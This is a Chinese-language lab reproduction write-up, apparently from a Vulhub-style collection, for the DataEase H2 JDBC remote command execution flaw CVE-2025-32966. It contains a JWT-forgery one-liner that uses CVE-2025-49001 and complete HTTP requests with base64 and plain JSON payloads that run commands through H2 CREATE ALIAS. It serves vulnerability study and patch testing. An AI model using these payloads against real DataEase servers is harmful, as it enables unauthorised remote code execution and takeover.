# DataEase H2 JDBC 远程命令执行漏洞 CVE-2025-32966

## 漏洞描述

DataEase 是一款广泛使用的开源数据可视化分析平台，常用于搭建 BI 仪表盘。

在 DataEase 2.10.7 及以下版本中，`/de2api/datasource/validate` 接口会将用户提交的 H2 JDBC 连接串原样传入 `CalciteProvider#getConnection`，没有对参数进行任何过滤。攻击者只要能访问该接口并提供合法的会话，即可在 `INIT` 参数中写入任意 SQL，再配合 H2 的 `CREATE ALIAS ... $$ ... $$` 语法内嵌 Java 源码；H2 在建立连接时会编译并执行该别名，从而在 DataEase JVM 内实现远程命令执行。官方通告将此漏洞标记为需要认证；但同一版本线中的 CVE-2025-49001 允许任意未授权攻击者伪造管理员 JWT，因此通常将两者串联实现完整的未授权 RCE。

参考链接：

- https://github.com/dataease/dataease/security/advisories/GHSA-h7hj-4j78-cvc7
- https://nvd.nist.gov/vuln/detail/CVE-2025-32966
- https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r

## 漏洞影响

```
DataEase 2.10.7及以下版本
```

## 环境搭建

Vulhub 执行如下命令启动一个存在漏洞的 DataEase 2.10.7：

```
docker compose up -d
```

DataEase 登录页位于 `http://your-ip:8100`（默认账号 `admin` / 密码 `DataEase@123456`）。

![](images/DataEase%20H2%20JDBC%20远程命令执行漏洞%20CVE-2025-32966/image-20260508103103355.png)

## 漏洞复现

首先准备一个合法的管理员 `X-DE-TOKEN`。在本环境中最便捷的方式是利用 CVE-2025-49001 伪造——`CommunityTokenFilter` 的签名校验逻辑存在缺陷，用任意 HMAC 密钥签发的 Token 都能被放行：

```
python3 -c "import jwt,time; print(jwt.encode({'uid':1,'oid':1,'exp':int(time.time())+3600}, 'any-secret', algorithm='HS256'))"
```

然后向接口发送数据源校验请求。`configuration` 字段是一段 JSON 的 base64 编码，其中 `jdbc` 字段承载恶意的 H2 JDBC URL。该 URL 定义了一个 `EXEC` 别名并在同一段 `INIT` 中调用它（`\;` 用来把分号转义成 SQL 语句分隔符，避免被 H2 的 URL 参数解析器吞掉）：

```
POST /de2api/datasource/validate HTTP/1.1
Host: your-ip:8100
Content-Type: application/json
X-DE-TOKEN: <forged-jwt>

{"name":"p1","type":"h2","configuration":"<base64编码的JSON>"}
```

被 base64 编码的 JSON 内容因目标版本而异。在 v2.10.4 至 v2.10.7（即本环境所在的范围）中，`CalciteProvider#getConnection` 带有独立的 `case h2` 分支，会把配置按 `H2` 类解析，其 `getJdbc()` 直接返回 `jdbc` 字段：

```
{"jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"touch\",\"/tmp/awesome_poc\"})\\; }$$\\;CALL EXEC()","username":"","password":"","driver":"org.h2.Driver"}
```

而在 v2.10.3 及更早的版本中尚未加入 `case h2` 分支，配置会被当作 `Mysql` 类解析——其 `getJdbc()` 仅在 `urlType` 被设为非 `hostName` 的值、并把 URL 放进 `jdbcUrl` 字段时才会返回自定义 URL。因此这些版本对应的等价 payload 是：

```
{"urlType":"jdbcUrl","jdbcUrl":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"touch\",\"/tmp/awesome_poc\"})\\; }$$\\;CALL EXEC()","username":"","password":"","driver":"org.h2.Driver"}
```

发送 base64 编码后的 JSON：

```
POST /de2api/datasource/validate HTTP/1.1
Host: your-ip:8100
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Content-Type: application/json
X-DE-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzc4MjExMDc3fQ.RE9ITMnlNO8hGvsRxRvXZTcmQun3QdVhbJnWBTRhpJw
Content-Length: 191

{"name":"p1","type":"h2","configuration":"eyJqZGJjIjoiamRiYzpoMjptZW06cHduO01PREU9TVNTUUxTZXJ2ZXI7SU5JVD1DUkVBVEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBqYXZhLmlvLklPRXhjZXB0aW9uIHsgUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJ0b3VjaFwiLFwiL3RtcC9hd2Vzb21lX3BvY1wifSlcXDsgfSQkXFw7Q0FMTCBFWEVDKCkiLCJ1c2VybmFtZSI6IiIsInBhc3N3b3JkIjoiIiwiZHJpdmVyIjoib3JnLmgyLkRyaXZlciJ9"}
```

![](images/DataEase%20H2%20JDBC%20远程命令执行漏洞%20CVE-2025-32966/image-20260508104401401.png)

HTTP 响应为 `400`（这是由 CVE-2025-49001 的 Writer 冲突产生的噪声），但 `EXEC` 别名已经在 H2 引擎中执行完毕。进入 DataEase 容器即可确认副作用：

```
docker compose exec web ls -la /tmp/
```

该文件存在即证明攻击者能以容器内 `root` 身份任意命令执行。

![](images/DataEase%20H2%20JDBC%20远程命令执行漏洞%20CVE-2025-32966/image-20260508104307304.png)

## 漏洞修复

- 更新至最新版本。
